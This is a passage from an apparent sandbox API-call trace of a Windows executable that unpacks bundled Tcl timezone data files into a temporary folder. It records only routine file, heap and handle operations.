lpWideCharStr="wb") returned 3 [0038.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Windhoek" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\windhoek"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.367] GetFileType (hFile=0x10c) returned 0x1 [0038.367] htonl (hostlong=0x90180000) returned 0x1890 [0038.367] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.368] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.368] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x890, lpOverlapped=0x0) returned 1 [0038.369] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.369] CloseHandle (hObject=0x10c) returned 1 [0038.370] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.370] htonl (hostlong=0x30000000) returned 0x30 [0038.370] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.370] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.370] GetFileType (hFile=0x10c) returned 0x1 [0038.370] htonl (hostlong=0xc56c5800) returned 0x586cc5 [0038.370] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d1cc5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.370] htonl (hostlong=0x7a060000) returned 0x67a [0038.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x67a) returned 0x55d270 [0038.370] htonl (hostlong=0x7a060000) returned 0x67a [0038.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d8f8 [0038.370] ReadFile (in: hFile=0x10c, lpBuffer=0x55d8f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d8f8*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.370] htonl (hostlong=0xd4200000) returned 0x20d4 [0038.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20d4) returned 0x560088 [0038.370] htonl (hostlong=0x7a060000) returned 0x67a [0038.370] htonl (hostlong=0xd4200000) returned 0x20d4 [0038.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562168 [0038.370] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562168 | out: hHeap=0x530000) returned 1 [0038.371] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.371] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d8f8 | out: hHeap=0x530000) returned 1 [0038.371] CloseHandle (hObject=0x10c) returned 1 [0038.371] GetLastError () returned 0x0 [0038.371] SetLastError (dwErrCode=0x0) [0038.371] GetLastError () returned 0x0 [0038.371] SetLastError (dwErrCode=0x0) [0038.371] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.371] GetFileType (hFile=0x10c) returned 0x1 [0038.371] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.371] CloseHandle (hObject=0x10c) returned 1 [0038.371] GetLastError () returned 0x0 [0038.371] SetLastError (dwErrCode=0x0) [0038.371] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.372] GetFileType (hFile=0x10c) returned 0x1 [0038.372] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.372] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.372] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.372] CloseHandle (hObject=0x10c) returned 1 [0038.372] GetLastError () returned 0x0 [0038.372] SetLastError (dwErrCode=0x0) [0038.372] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.372] GetLastError () returned 0x2 [0038.372] SetLastError (dwErrCode=0x2) [0038.372] GetLastError () returned 0x2 [0038.372] SetLastError (dwErrCode=0x2) [0038.372] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America", lpFilePart=0x0) returned 0x3f [0038.372] GetLastError () returned 0x2 [0038.372] SetLastError (dwErrCode=0x2) [0038.372] GetLastError () returned 0x2 [0038.372] SetLastError (dwErrCode=0x2) [0038.372] GetLastError () returned 0x2 [0038.372] SetLastError (dwErrCode=0x2) [0038.372] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), lpSecurityAttributes=0x0) returned 1 [0038.373] GetLastError () returned 0x2 [0038.373] SetLastError (dwErrCode=0x2) [0038.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Adak") returned 69 [0038.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Adak" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\adak"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.373] GetLastError () returned 0x2 [0038.373] SetLastError (dwErrCode=0x2) [0038.374] GetLastError () returned 0x2 [0038.374] SetLastError (dwErrCode=0x2) [0038.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Adak", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Adak", lpFilePart=0x0) returned 0x44 [0038.374] GetLastError () returned 0x2 [0038.374] SetLastError (dwErrCode=0x2) [0038.374] GetLastError () returned 0x2 [0038.374] SetLastError (dwErrCode=0x2) [0038.374] GetLastError () returned 0x2 [0038.374] SetLastError (dwErrCode=0x2) [0038.374] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Adak") returned 69 [0038.374] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Adak" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\adak"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.374] GetFileType (hFile=0x10c) returned 0x1 [0038.374] htonl (hostlong=0xd4200000) returned 0x20d4 [0038.374] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.375] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.375] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xd4, lpOverlapped=0x0) returned 1 [0038.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.375] CloseHandle (hObject=0x10c) returned 1 [0038.376] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.377] htonl (hostlong=0x30000000) returned 0x30 [0038.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.377] GetFileType (hFile=0x10c) returned 0x1 [0038.377] htonl (hostlong=0x3f735800) returned 0x58733f [0038.377] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d233f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.377] htonl (hostlong=0x84060000) returned 0x684 [0038.378] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x684) returned 0x55d270 [0038.378] htonl (hostlong=0x84060000) returned 0x684 [0038.378] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d900 [0038.378] ReadFile (in: hFile=0x10c, lpBuffer=0x55d900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d900*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.378] htonl (hostlong=0xfc200000) returned 0x20fc [0038.378] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20fc) returned 0x560088 [0038.379] htonl (hostlong=0x84060000) returned 0x684 [0038.379] htonl (hostlong=0xfc200000) returned 0x20fc [0038.379] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562190 [0038.379] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562190 | out: hHeap=0x530000) returned 1 [0038.379] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.379] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d900 | out: hHeap=0x530000) returned 1 [0038.379] CloseHandle (hObject=0x10c) returned 1 [0038.379] GetLastError () returned 0x0 [0038.379] SetLastError (dwErrCode=0x0) [0038.379] GetLastError () returned 0x0 [0038.379] SetLastError (dwErrCode=0x0) [0038.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.379] GetFileType (hFile=0x10c) returned 0x1 [0038.379] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.379] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.379] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.379] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.380] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.380] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.380] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.380] CloseHandle (hObject=0x10c) returned 1 [0038.380] GetLastError () returned 0x0 [0038.380] SetLastError (dwErrCode=0x0) [0038.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.380] GetFileType (hFile=0x10c) returned 0x1 [0038.380] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.380] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.380] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.380] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.380] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.380] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.380] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.380] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.380] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.380] CloseHandle (hObject=0x10c) returned 1 [0038.380] GetLastError () returned 0x0 [0038.380] SetLastError (dwErrCode=0x0) [0038.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.381] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.381] GetFileType (hFile=0x10c) returned 0x1 [0038.381] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.381] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.381] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.381] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.381] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.381] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.381] CloseHandle (hObject=0x10c) returned 1 [0038.381] GetLastError () returned 0x0 [0038.381] SetLastError (dwErrCode=0x0) [0038.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anchorage") returned 74 [0038.381] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anchorage" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\anchorage"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.381] GetLastError () returned 0x2 [0038.381] SetLastError (dwErrCode=0x2) [0038.381] GetLastError () returned 0x2 [0038.381] SetLastError (dwErrCode=0x2) [0038.381] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anchorage", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anchorage", lpFilePart=0x0) returned 0x49 [0038.381] GetLastError () returned 0x2 [0038.381] SetLastError (dwErrCode=0x2) [0038.381] GetLastError () returned 0x2 [0038.381] SetLastError (dwErrCode=0x2) [0038.382] GetLastError () returned 0x2 [0038.382] SetLastError (dwErrCode=0x2) [0038.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anchorage") returned 74 [0038.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anchorage" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\anchorage"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.382] GetFileType (hFile=0x10c) returned 0x1 [0038.382] htonl (hostlong=0xfc200000) returned 0x20fc [0038.382] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.387] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.387] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfc, lpOverlapped=0x0) returned 1 [0038.387] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.387] CloseHandle (hObject=0x10c) returned 1 [0038.388] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.389] htonl (hostlong=0x30000000) returned 0x30 [0038.389] 